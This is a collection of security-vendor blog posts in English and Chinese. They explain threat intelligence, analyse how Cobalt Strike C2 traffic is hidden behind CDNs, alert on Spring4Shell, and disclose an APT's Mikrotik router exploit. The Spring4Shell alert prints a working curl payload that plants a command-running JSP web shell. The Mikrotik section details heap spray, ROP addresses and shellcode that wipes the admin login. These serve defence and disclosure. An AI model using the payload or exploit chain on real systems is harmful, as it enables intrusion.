## The definition of cyber threat intelligence
Cyber threat intelligence (CTI) is information that has been aggregated, transformed, analyzed, interpreted, or enriched to provide the necessary context for decision-making processes.

## Why does cyber threat intelligence matter to enterprises?
As the old saying “know the enemy, know yourself, and in every battle you will be victorious”, cyber threat intelligence plays the same important role in cyber war. It gives enterprises an overview of the threat landscape. Enterprise can make better cybersecurity defense plans to secure daily operation. 

## 3 levels of cyber threat intelligence
Cyber threat intelligence contains 3 levels - strategic, operational, and tactical threat intelligence.

**1. Strategic Threat Intelligence**
(Non-Technical, usually CXX users) : Identifies the Who and Why. Uses high-level information (whitepapers, policy documents, publications, etc.)

**2. Operational Threat Intelligence**
(Mixed, SOC leaders, analysts, etc.): Works on the How and Where. Uses information about threat actor tactics, techniques, procedures, etc.

**3. Tactical Threat Intelligence**
(Technical, usually Security Operations Center (SOC) personnel): Look at the What. Uses Indicators of Compromise (IoC) such as file names, hashes, domain names, IP addresses, etc.

## Summary
Threat intelligence is an important part of enterprises’ cybersecurity plans. Enterprises can effectively deploy information security defenses and ensure smooth operations using the intelligence gathered and analyzed by the top threat intelligence research teams.



We, TeamT5, are the top research team in malware & Advanced Persistent Threat (APT). We’re frequently invited to share our insights in top cybersecurity conferences - Black Hat (USA), Code Blue/ AVTokyo (Japan), Troopers(Germany), and other events organized by global organizations such as Hack In The Box, and FIRST.

Contact us today to learn more about our threat intelligence platform.
 
 
 
*Reference:
[threat intelligence - nist.gov](https://csrc.nist.gov/glossary/term/threat_intelligence)
 
*Image courtsey of [Pixabay](https://pixabay.com/)

What is Cyber Threat Intelligence (CTI)? Why Does It Matter?

## 威脅情資的定義
威脅情資(threat intelligence)或稱網路威脅情資(cyber threat intelligence,CTI) ，指的是與網路攻擊相關的資訊，經由專業團隊收集、轉換、分析、解釋等處理過程，提供資安決策過程所需要的基礎。

## 威脅情資對企業的重要性
孫子兵法提及戰場上的重要原則「知己知彼，百戰不殆」，到如今的網路戰爭中，一樣適用，而威脅情資就是企業進行資安防禦布局的關鍵。

透過威脅情資，企業能夠有效規劃資安防禦計畫，包含如何為員工進行資安意識的教育訓練，了解需導入的資安解決方案，如何調整資訊系統的設定，並可在多個資安防禦目標中，區分輕重緩急，分配預算。

## 威脅情資的3大層次
威脅情資依其內涵，分為3個層次，每個層次都可為企業的資安計畫帶來效益。
 
**1. 戰略型(Strategic Threat Intelligence): **無技術細節，由 CXO 層級使用；用於辨別誰會想攻擊? 為何想攻擊?

**2. 實戰型(Operational Threat Intelligence): **需要技術背景，由SOC 主管、分析研究員等使用；用於理解攻擊者的TTP (戰術 Tactics 、技術 Techniques、流程 Procedures)

**3. 戰術型(Tactical Threat Intelligence):** 需要技術背景，通常是 SOC 人員使用；以威脅指標(indicator of compromise, IoC)，監看特定攻擊事件

## 總結
威脅情資是企業資安重要的一環，與具備完整威脅情資資料庫的廠商合作，企業可有效進行資安防禦布局，確保營運順暢。

TeamT5 杜浦數位安全專精網路威脅研究，具備超過10年的惡意程式與進階持續性滲透攻擊(APT)的研究經驗。基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。

今天就聯絡我們，展開企業資安的第一步!
 
 
 
*參考資料:
[threat intelligence - nist.gov](https://csrc.nist.gov/glossary/term/threat_intelligence)
 
*首圖來源: [Pixabay](https://pixabay.com/)

什麼是威脅情資? 對企業的重要性是什麼?

Products & Services

Cobalt Strike is a well-established red-teaming toolkit that was specifically designed to create feature-rich backdoors in the matter of seconds. However, ever since its inception, the tool has been heavily abused by threat actors all over the world (e.g., Polaris/MustangPanda, APT32/OceanLotus, cybercriminals, etc.) The popularity of Cobalt Strike is primarily due to how powerful its built-in payload generators are, its flexibility in deploying the Beacon to the target machine(s) - and most notably - its ability to disguise the payload traffic in the target network.

Over the last year or so, more and more beacons relying on third-party services as their proxy are being found in the wild. Since the use of these third-party CDNs can allow anonymized C2 and enhance its detection evasion, numerous APTs have also begun using these services. In the following sections, we will go through some of the techniques used by these threat actors to see how one could easily set up these misused configurations.

## Serverless Functions
Other techniques that threat groups have been employing also include the use of third-party services such as Cloudflare Workers. With the use of serverless services, it is possible to setup what is essentially a free reverse proxy to a Cobalt Strike endpoint. When set up properly, these services can provide an additional layer of protection, as looking up the domain will only yield the service’s IP instead of the origin server.

![202205_blog_pic1.png](https://uploads.teamt5.org/upload/original/202205_blog_pic1.png)
 

Since these services are often set up with sub-domains that the threat actor could freely set up without purchasing a real domain, they could also be set to a somewhat convincing fake domain. In this example, the C2 was set to ```route.moffice365.workers.dev``` to make the traffic look somewhat related to Microsoft services.

![202205_blog_pic2.png](https://uploads.teamt5.org/upload/original/202205_blog_pic2.png)
 

The nature of these serverless functions makes it extremely difficult to attribute the origins of or identify the threat actors. Since the serverless code is only stored on Cloudflare, and its execution is done on Cloudflare’s servers, there is not a feasible way to identify the C2 infrastructures.

## Domain Fronting via CDN


Domain fronting is a technique that attempts to disguise the traffic by smuggling data to a well-known service or domain. In other words, similar to the previous technique, domain fronting cannot be feasibly blocked without disrupting services and or examining the inner request. HelpSystems, the company behind Cobalt Strike, had actually done a write-up of Cobalt Strike domain fronting using CloudFront in 2017[1].

![202205_blog_pic3.png](https://uploads.teamt5.org/upload/original/202205_blog_pic3.png)
 

Essentially, certain websites employ CDNs like CloudFront to deliver assets on their websites. Under normal circumstances, the ```Host``` header determines where the request should go - and this header is assigned by the website. However, we can also abuse this “feature” and make our beacon visit a certain domain with a specified Host header that goes to our CDN instead of the standard CDN that the website uses. With HTTPS, this request would be extremely difficult or impossible for the IT admin to block, as the request itself is encrypted, and on the surface, it would look like the user is simply visiting a reputable site.

## Domain Fronting with a Non-existent Domain
The following technique, however, does something slightly different. Some time ago last year, we detected a rather peculiar looking Cobalt Strike payload where its C2 address was set to ```pypi.python.org```. Obviously the actor couldn’t have possibly obtained the rights to the domain owned by the Python Foundation, and the chance of them pwning the service is also little to none.

![202205_blog_pic4.png](https://uploads.teamt5.org/upload/original/202205_blog_pic4.png)
 

So what gives? It turns out the secret lies within the service that operates the sub-domain and the HTTP header specified in the beacon. The Python Foundation uses Fastly for most of its services. Fastly uses the ```Host``` header specified within the request to decide which service to redirect the request to internally. For example, if I were to create a service on Fastly named ```dl-python.org```, and the ```Host``` header is set to ```dl-python.org``` in the beacon, Fastly would then forward the request to the service named as such.

![202205_blog_pic5.png](https://uploads.teamt5.org/upload/original/202205_blog_pic5.png)
 

Note the difference between this methodology against the previous domain fronting technique - the ```Host``` header may give a false impression that the C2 is being pointed towards ```dl-python.org```. In reality, it is being resolved as ```dl-python.org.global.prod.fastly.net``` when going through Fastly’s services. The service then internally forwards the request to ```my-c2domain.com``` as configured by the threat actor. This trick may lure threat investigators into investigating a completely different domain that may or may not be relevant to the incident.

![202205_blog_pic6.png](https://uploads.teamt5.org/upload/original/202205_blog_pic6.png)
 

## Conclusion
In this post, we have covered three ways that threat actors can abuse Cobalt Strike’s flexibility in payload communication: misuse of serverless functions and various abuses of CDN domain fronting. The resilience of Cobalt Strike is something that is beloved (or despised) by many because of this very reason. It is clear that the red-teaming toolkit is not going anywhere anytime soon as more and more creative strategies are discovered and employed.

## References
[1] Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting—Cobalt Strike Research and Development. ➔ [link](https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/)

*Image courtesy of Pexels

Hiding in Plain Sight: Obscuring C2s by Abusing CDN Services

Threat Intelligence

>- March 30th, 2022 (GMT+8): This alert was published at 18:30 (GMT+8). We will update the alert as soon as we have more details.
- March 31st, 2022 Update: Add Proof Of Concept (PoC) & Self Test Advice
- April 6, 2022 Update: Add CVE number, Official patch


## Executive Summary
On March 29th, 2022, TeamT5’s Cyber Threat Intelligence team was alerted about a RCE 0-day vulnerability in the Spring Framework. While we are still investigating the vulnerability, **our current assessment is that the severity level of this Spring Core RCE 0-Day vulnerability is critical**.

1. Given that Spring is a widely used framework for developing Java applications, we believe this exploit will cause a great impact to many services.
2. The Spring Core RCE 0-day (aka Spring4Shell, SpringShell) exists in the JDK version equal or above 9.0.
3. No official patch was released at the time of our analysis. We strongly recommend all of our partners and clients to review your codebase and take mitigation measures below.

## Spring Core RCE 0-Day Vulnerability Details
![spring vulnerability_pic1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648638423/spring_vulnerability_pic1_fa9c1e327b.png)


|Aspect|Description|
|---|---|
|CVE|No CVE id for this vulnerability at the time of writing. Some have referred the vulnerability as SpringShell.|
|Severity Level|Critical|
|Versions Affected|JDK version above or equal to 9 and derivative framework with ```spring-beans-*.jar``` or ```CachedIntrospectionResults.class``` exists.|
|Proof-of-Concept (PoC)|Proof-of-Concept (PoC) has been released publicly..|
|Patch|No official patch available at the time of writing.|

**From the information gathered, we assess that the impact of this vulnerability is very severe and the severity level is likely to be as high as Log4j vulnerabilities**. The Spring Framework is one of the most popular and lightweight application framework for the Java platform. It is widely used by lots of companies and organizations for their internet-facing services. This means that every Java-based product or web service is affected by the scope of the vulnerability.

The SpringShell 0-Day Vulnerability is a Remote Code Execution (RCE) vulnerability. According to public information, a successful exploitation would enable the threat actors to have Arbitrary File Upload privilege.

TeamT5 will keep our partners and clients updated on the information about this vulnerability. Our partners and clients can rely on TeamT5’s solutions, ThreatVision and ThreatSonar, for protection from future attacks.

## PoC
There are some POC (Proof of Concept) released. The execution is below.
 
Payload:
 
```
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/vulnerable-1.0.0.0/app
```


Execution screenshot
![spring_update_pic1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721634/spring_update_pic1_84fa3ea5fb.jpg)

In a website using Spring framework, we can send certain payload to a path related to the Spring Framework (see below picture). This action allows us to write document with arbitrary path to achieve RCE (Remote Code Execution) attack. Picture above shows the result.
![spring_update_pic2.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721763/spring_update_pic2_c9326dfbe2.jpg)

## How to Test Whether My Service is Affected?
In a website using Spring Framework, sending the following query to a Spring Framework related tests whether the website is vulnerable or not (see below picture).

Query for testing is below -
 
```curl -v host:port/path?class.module.classLoader.URLs%5B0%5D=0```

Picture below shows the result. If it responds with HTTP Status 400, the website might be vulnerable to this exploit.
![spring_update_pic3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721764/spring_update_pic3_24a8883e53.jpg)


## Mitigation
### **1. Check JDK version number**

To check JDK version number, run ```java -version``` command to check the running JDK version on the server of your organization system.

![spring vulnerability_pic2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648723773/spring_vulnerability_pic2_e20563e16c.jpg)




- If the version number is below or equal to 8, it is not affected by the vulnerability.
- If the version number is above or equal to 9, the vulnerability exists. Please apply temporary measure for protection.

### **2. Temporary measure for protection: WAF protection**

There is no official patch available at the time of writing. We strongly suggest you use the temporary measure (WAF protection) and pay attention to the release of official patches.

**WAF protection**

On web application firewall (WAF), implement rule filtering for the following strings:

- ```class.*```, ```Class.*```, ```*.class.*```, ```*.Class.*```

## Reference
- Critical Exploit Alert: Spring RCE 0day 
漏洞情报 | Spring RCE 0day高危漏洞预警 
https://www.freebuf.com/vuls/326627.html

- SpringShell: Spring Core RCE 0-day Vulnerability 
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

- Randori Attack Team on Twitter: "The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE.
https://twitter.com/RandoriAttack/status/1509298490106593283

> Keywords: Spring4Shell, SpringShell, Spring, zeroday vulnerability, 0-day vulnerability, remote control execution vulnerability, JAVA

【TeamT5 Flash Alert】Spring Core RCE 0-Day Vulnerability

>- 2022 年 3 月 30 日 18:30（GMT+8）: 告警通知發佈
- 2022 年 3 月 31 日 更新： 新增 Proof Of Concept (POC) 及自我檢測方式
- 2022 年 4 月 6 日 更新：CVE 編號、官方 Patch 方式- 2022 年 3 月 31 日 更新： 新增 Proof Of Concept (POC) 及自我檢測方式
- 2022 年 4 月 6 日 更新：CVE 編號、官方 Patch 方式


## 重點摘要
2022 年 3 月 29 日，TeamT5 的網路情資團隊收到有關 Spring 框架的 RCE 零時漏洞告警通知。目前我們仍在持續調查該漏洞，依據現有的資訊來看，**我們評估此漏洞的危險級別為極度嚴峻**。

1. 基於 Spring 框架在開發 Java 應用上的泛用程度，此漏洞恐會對於許多服務造成危害。
2. Spring Core RCE 零日漏洞（或稱 SpringShell、Spring4Shell）存在於 JDK 9.0 或以上的版本。
3. 截至分析當下，官方仍未釋出正式的修補程式，我們強烈建議所有的合作夥伴與客戶務必檢視自己的程式碼庫並採取以下緩解措施。

## 具體細節
![spring vulnerability_pic1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648638423/spring_vulnerability_pic1_fa9c1e327b.png)

|面向|描述|
|---|---|
|公共漏洞與暴露（CVE）|截至撰寫當下，此漏洞仍未取得 CVE 編號|
|危險級別|極度嚴峻|
|影響版本|JDK 9.0 或以上的版本以及有使用到衍生框架 ```spring-beans-*.jar```，或存在```CachedIntrospectionResults.class```|
|概念驗證（PoC）|概念驗證（PoC） 已有釋出|
|修補程式|截至撰寫當下，尚未有官方正式的修補程式|

**根據現有的資訊來觀察，我們評估此漏洞的衝擊程度將十分嚴重，而其危險級別很可能近似於 Log4j 漏洞**。Spring 框架是 Java 平台上最廣受歡迎的輕量應用框架，許多公司和組織皆有在其網際網路對向服務（internet-facing service）中採用此框架。這意謂所有應用 Java 的產品或網頁服務都可能受此漏洞影響。

SpringShell 是一個遠端執行程式碼（RCE）漏洞。根據公開資訊指出，威脅行動者一旦成功利用該漏洞，便能取得任意上傳檔案的權限。

TeamT5 會持續為我們的合作夥伴與客戶更新此漏洞的相關資訊。我們的合作夥伴與客戶可以倚靠 TeamT5 的解決方案 ThreatVision 和 ThreatSonar 以抵禦潛在的攻擊。

## PoC
網路上已有不少針對此漏洞利用方法釋出，實際執行結果如下：
 
Payload:
 
```
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/vulnerable-1.0.0.0/app
```

 
實際執行結果圖：
![spring_update_pic1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721634/spring_update_pic1_84fa3ea5fb.jpg)


在 Spring 的網站程式，對 Spring 對應的路徑(參考下圖)，送入特定的 payload，能寫入任意路徑文件，可透過上傳 Webshell 來達到任意指令執行(RCE)，上圖是執行 payload 後，確實產生檔案。
![spring_update_pic2.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721763/spring_update_pic2_c9326dfbe2.jpg)

## 如何檢測我的服務是否受到影響？ 
在 Spring 的網站程式，對 Spring 對應的路徑，送入特定的 Query，能測試網站是否存在弱點。

檢測 Query 如下：
 
```curl -v host:port/path?class.module.classLoader.URLs%5B0%5D=0```

下圖為執行 Query 後，如果回應 HTTP Status 400，很可能是有弱點的。
![spring_update_pic3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721764/spring_update_pic3_24a8883e53.jpg)



## 緩解措施
### **1.確認 JDK 版本代號**

如要確認 JDK 版本代號，請於貴組織系統的伺服器上執行 java -version 指令以確認運行中的版本代號。
![spring vulnerability_pic2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648723773/spring_vulnerability_pic2_e20563e16c.jpg)



- 如果版本代號低於或等於 8，將不會受此漏洞影響。
- 如果版本代號高於或等於 9，則漏洞存在。請參照以下臨時方案抵禦潛在的攻擊。

### **2. 臨時方案：WAF 阻擋**

截至撰寫當下，官方並無發布正式的修補程式。我們強烈建議您採用臨時方案（WAF 防護）並留意官方修補程式釋出的通知。

**WAF 阻擋**

在網頁應用防火牆（WAF）中置入規則過濾以下字串

- ```class.*```, ```Class.*```, ```*.class.*```, ```*.Class.*```

## Reference
- Critical Exploit Alert: Spring RCE 0day 
漏洞情报 | Spring RCE 0day高危漏洞预警 
https://www.freebuf.com/vuls/326627.html

- SpringShell: Spring Core RCE 0-day Vulnerability 
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

- Randori Attack Team on Twitter: "The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE.
https://twitter.com/RandoriAttack/status/1509298490106593283

> 關鍵字: Spring4Shell, SpringShell, Spring, zeroday vulnerability, 0-day vulnerability, remote control execution vulnerability, JAVA

【TeamT5 資安即時快訊】Spring Core RCE 零日漏洞

Technical Analysis

## Brief
In 2021, we discovered an open directory on Huapi’s C2. We found the source code contained an exploit aiming at Mikrotik routers. More specifically, our analysis found that the exploit would allow the attackers to send specially crafted payloads to achieve Remote Code Execution (RCE) via WAN without any authentications. The targeted RouterOS products include mikrotik-tile-6.46.8, mikrotik-vm-64.8, and mikrotik-vm-6.48.

TeamT5 alerted Mikrotik to patch this vulnerability upon discovery. The patch for this vulnerability was released on 2021/11/17 and can be downloaded from the official Mikrotik website. All affected organizations should update their RouterOS immediately to avoid actors’ exploitation.

HUAPI (aka BlackTech, Palmerworm, or PLEAD) has been active since 2007 and has been targeting Taiwan for over a decade. Huapi’s malwares are highly sophisticated, and some of them use unique anti-analysis packers. Some of Huapi’s malware utilized a modified RC4 algorithm to encrypt the malicious C2 communication. Huapi focused on governmental entities, technology or telecommunication industries, and think tanks. Our observation suggested that over half of the victims were governmental agencies in Taiwan, the United States, Japan, and South Korea.

### Attack vector
As a powerful and easy-to-use router, Mikrotik routerboard supports SCEP (Simple Certificate Enrollment Protocol), a service that was designed for simple certificate delivery. During transport, the binary data is encoded in Base64 via HTTP GET. Unfortunately, when processing the data from the payload, a miscalculation may occur if the payload is not properly formatted, potentially resulting in a Heap-based Buffer Overflow.

The open directory we had discovered contained exploit code that targeted ```mikrotik-tile-6.46.8```, ```mikrotik-vm-64.8``` and ```mikrotik-vm-6.48```, along with their corresponding shellcode snippets. In the following sections, we will be analyzing the exploit code that was designed for ```mikrotik-vm-6.46.8```.

#### Root cause analysis
By sending the following payload, we can cause the service ```www``` to crash and potentially trigger a Heap-based Buffer Overflow.

 ```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n```

The crash can be traced back to the function ```base64Decode```, located under ```ScepRequest::parseRequest``` from ```/nova/lib/www/scep.p```. When unpacking the Base64 request, the following code is used to calculate the output buffer size,

```output_buffer_length = 3 * (input_buffer_length >> 2)```

…which may cause a miscalculation of the output buffer, resulting in an insufficient memory allocation from ```malloc```, leading to a heap overflow.

![Mikrotik 1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_1_3b141d6955.png)


#### What happened?

For instance, we assume that the our input data is ```xxxxxxxxxxxxxxxxhCE```, and the length of input buffer is 19. Based on the decompiled code, ```out_len = 3 * (input_len >> 2)``` which is ```out_len = 3 * (input_len // 4)``` (double slashes represent integer division), thereby allocating 12 bytes as decoded data buffer. However, the decoded data buffer should be 14 bytes instead of 12. This oversight allows the attacker to overwrite data in heap.

#### Overview of the exploit flow
According to the chunk-recycling mechanism, by overwriting the chunk size of a chunk in bins to a larger value (```0x4121```), the next ```malloc``` call will return a heap chunk overlapped with allocated chunks. This will lead to a heap overflow when writing to the chunk.

The part which will be overwritten is a vtable pointer in a destructor (```sub_8052E90```) function, and by setting the register ```edx``` to ```0x8061a74```, the instruction ```call [edx+4]``` will execute the gadget at ```0x8058e89``` ( ```xchg eax, ebp; ret;``` ) and execute the shellcode after pivoting the stack to the attacker-owned buffer.

![Mikrotik 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_2_ccf3d68d2e.png)


#### Heap spray
The attacker can begin heap spraying by requesting 64 concurrent connections, and close some of them in order to let the vtable pointer be overwriten by the heap overflow later.

![Mikrotik 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_3_fe1501df37.png)

The function ```aaaa``` assembles the ROP gadgets, and the variable ```sc``` contains the shellcode for execution.
![Mikrotik 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_4_a90ea7d1c9.png)

#### Trigger heap overflow
The function ```bbbb``` sends the payloads to the victim server in the aforementioned format.

![Mikrotik 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_6_17cf9a40dd.png)

The parameter message (```'x'*801*4+'hCE'```) in the function ```bbbb``` will overwrite the size of next chunk. Here in gdb , it shows that the parameter message has been decoded to ```c7 1c 71 84 21``` at ```0x80859f0```, and the last byte ```\x21``` has been written as the next chunk size at ```0x80859f4```.

![Mikrotik 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_7_d1f398ad3a.png)

#### Attempting to retrieve the oversized chunk on heap
![Mikrotik 8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_8_69ec279783.png)

In order to retrieve the overflowed chunk, we need to send out more request. At some point, the register ```edx``` will be set to ```0x8061a74``` when the attempt reaches ```i=3```.

![Mikrotik 9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_9_0ea232d0c5.png)

#### Trigger destructor
The final step of the exploit, set off destructor  ```call [edx+4]``` by closing connections.
![Mikrotik 10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_10_3d19ac41ab.png)

#### Fingers crossed
Thanks to the heap spraying at the initial phase of the exploit, the data in the address ```0x8061a74``` will be modified, thus the instruction ```call [edx+4]``` will end up calling ```0x8058e89``` instead (the address of gadget ```xchg eax, ebp; ret;```) and start executing our gadgets.

![Mikrotik 11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_11_936def75c5.png)

Once the gadgets have been hit, ```0x8058e89: xchg eax, ebp; ret``` and ```0x8052eb9: leave``` will allow us to pivot from the stack to the controllable buffer and start to execute our ROP chain from ```0x804fbfc```.

The ROP chain will try to increase the address of ```open``` to the address of ```mprotect```, and the ```0x804fc04: pop esp; ret;``` will set ```esp``` to ```0x8061a74+8``` to wrap up the ROP chain. Lastly, calling ```mprotect``` and jump right into the shellcode (```0x8061674```).

![Mikrotik 12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_12_85dcd691f7.png)

In the exploit, the shellcode can be interpreted as ```unlink('/nova/store/user.data') + sync() + reboot()```, after the target device has finished rebooting. The attacker should then be able to login into web service as admin without a password.

### Conclusion
To wrap up, let’s go over the exploit code once again:

**1. Low stability**

- Since ```add()``` does not work in our favor and that ASLR is enabled by default, the exploit chain may fail on the first try.
- Occasionally, even though the ```/nova/store/user.dat``` file will be deleted, the device does not end up rebooting. The shellcode may require extra improvements to make it more stable.
- Even in best case scenario, the success rate is only about 5~6%.
- Thankfully, in the event where the attack attempt fails, the watchdog process will restart the ```www``` service for us. This ensures stability and allows the attacker to not cause noticeable disruption during the attack.

**2. Strict prerequisites**

- The attacker must be aware of the path name ```scep_server_name``` before being able to begin such attack.

**3. Disclosure Timeline**

```2021/07/11```: Acquire exploit codes from the open directory

```2021/10/04```: Responsible disclosure to Mikrotik and reserved CVE-2021-41987

```2021/11/17```: Official patch released

```2022/03/01```: Full disclosure released

**4. Affected versions of RouterOS**
- ```6.46.8```
- ```6.47.9```
- ```6.47.10```

### About TeamT5 D39
D39 is committed to the field of vulnerability security and vulnerability discovery. The research scope includes systems and devices that are connected to the Internet, such as mobile devices, IoT devices, Linux, and Windows. Our team has held a number of critical or important vulnerabilities and has conducted presentations across various major security conferences, such as Blackhat, HITCON, etc.

Exploit research has always been one of the most advanced fields in network attack and defense. TeamT5 expects to invest resources to cultivate more talents to enter this field, and expects to have more and more world-leading vulnerability research talents in Taiwan. We welcome those who dare to face unknown challenges, are committed to vulnerability research and discovery, and have independent research capabilities to join us. 🤝

### Reference
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*Image courtesy of Pixabay

Vulnerability Exposure & Notification on Mikrotik (CVE-2021-41987) 

## 前言
APT 駭客組織 Huapi 自 2007 年開始活躍至今，攻擊台灣超過 10 年的時間。TeamT5 觀察到 Huapi 所開發的惡意程式，有時會使用加殼來阻擋研究人員分析，且通常會使用修改後的 RC4 演算法來加密傳輸。Huapi 長期攻擊政府、高科技、電信或研究智庫單位，根據 TeamT5 的統計結果，超過 5 成的受害單位為政府機關，受害國家包含台灣、美國、日本及南韓，其中針對台灣政府機關進行入侵攻擊為多。

仰賴於長期的追蹤及觀察，我們在一台中繼站發現公開目錄，目錄中存在一組針對 Mikrotik SCEP 服務的 0day 攻擊程式碼。在確定弱點存在後，我們也將弱點的相關成因回報給 Mikrotik 官方，讓官方可以在第一時間內進行修補開發，以避免該弱點繼續被惡意攻擊者進行利用。

Mikrotik 官方於 2021/11/17 釋出了修正版本，請有使用到受影響版本的用戶盡速升級，以免遭受危害。這裡我們將完整揭露攻擊程式的利用細節及漏洞原理，讓我們一窺 APT 駭客組織都是怎麼為達目的、不擇手段。

### 攻擊程式包分析
作為一個功能強大且簡單易用的路由器，Mikrotik routerboard 也支援簡單憑證註冊通訊協定(Simple Certification Enrolling Protocol, SCEP)，來讓其他終端裝置可以簡便的取得所需之憑證。在協定交互的過程中，所有二進位資訊都會使用 base64 編碼之後再進行傳送，但由於 Mikrotik SCEP 服務在進行 base64 解碼的時候計算錯誤，會導致 Heap-based buffer overflow 的發生。

攻擊程式碼(以下簡稱 exploit)總共包含了針對三個不同版本的 exploit code 分別是 ```mikrotik-tile-6.46.8```、```mikrotik-vm-64.8```與```mikrotik-vm-6.48```，及其相對應版本的 shellcode 用以攻擊成功之後執行額外的惡意指令。

以下是我們針對版本 ```mikrotik-vm-6.46.8``` 進行的exploit分析。

### 弱點根因
透過一個簡單的 HTTP 請求:

```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n```

將可以很容易的讓 ```www``` 這個負責 HTTP 服務的 binary 崩潰，並被 watchdog 重新啟動。

經過一番逆向工程後可以發現，位於 ```/nova/lib/www/scep.p``` 中的 ```ScepRequest::parseRequest```，在解開 base64 編碼的 ```message``` 參數時，由於計算解編碼後的資料長度出現錯誤，導致 malloc 分配出來的大小不足，進而造成 heap overflow：
![Mikrotik 1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_1_3b141d6955.png)

### 讓 Base64 變成漏洞，是不是搞錯了什麼 ?
舉例來說，假設我們的輸入資料是 ```xxxxxxxxxxxxxxxxhCE``` 長度為 19，依照逆向後的程式邏輯來看，SCEP 計算出解編碼後的長度是12 ``` out_len = 3 * (in_len // 4)``` (這邊的 ```//``` 為整數除法)。但實際上解編碼後的資料長度為 14，這就直接導致了 heap 上的資料被覆蓋的問題。

### 漏洞利用
透過分析 exploit code 我們可以發現，攻擊者使用上述漏洞將 bins 中的某個 chunk size 改大 (0x4121)，之後再次 malloc 將會拿到這個過大的 chunk 屆時便可以覆寫 heap 上的內容。

覆蓋某個 destructor 中會用到的 vtable pointer，將 ```edx``` 改成 ```0x8061a74``` 使得 ```call [edx+4]``` 執行位於 ```0x8058e89``` 的 gadget (```xchg eax, ebp; ret;```)。

![Mikrotik 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_2_ccf3d68d2e.png)

#### 堆噴灑
首先發起 64 個請求做 heap spray 將我們要的 gadget 與 shellcode 隨著連線請求灑到 heap 上，並將其中一些連線關閉來讓 heap chunk 可以被 overflow 覆蓋到 vtable pointer。

![Mikrotik 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_3_fe1501df37.png)

這裡用到的 function ```aaaa``` 會將後續所需要的 ROP gadgets 組合起來，function 中的變數 ```sc``` 表示後面會被執行到的 shellcode。

![Mikrotik 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_4_a90ea7d1c9.png)

#### 觸發堆溢出
透過呼叫 function ```bbbb``` 會將我們的 payload 使用前面提過的型式送出用以觸發 heap overflow。

![Mikrotik 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_6_17cf9a40dd.png)

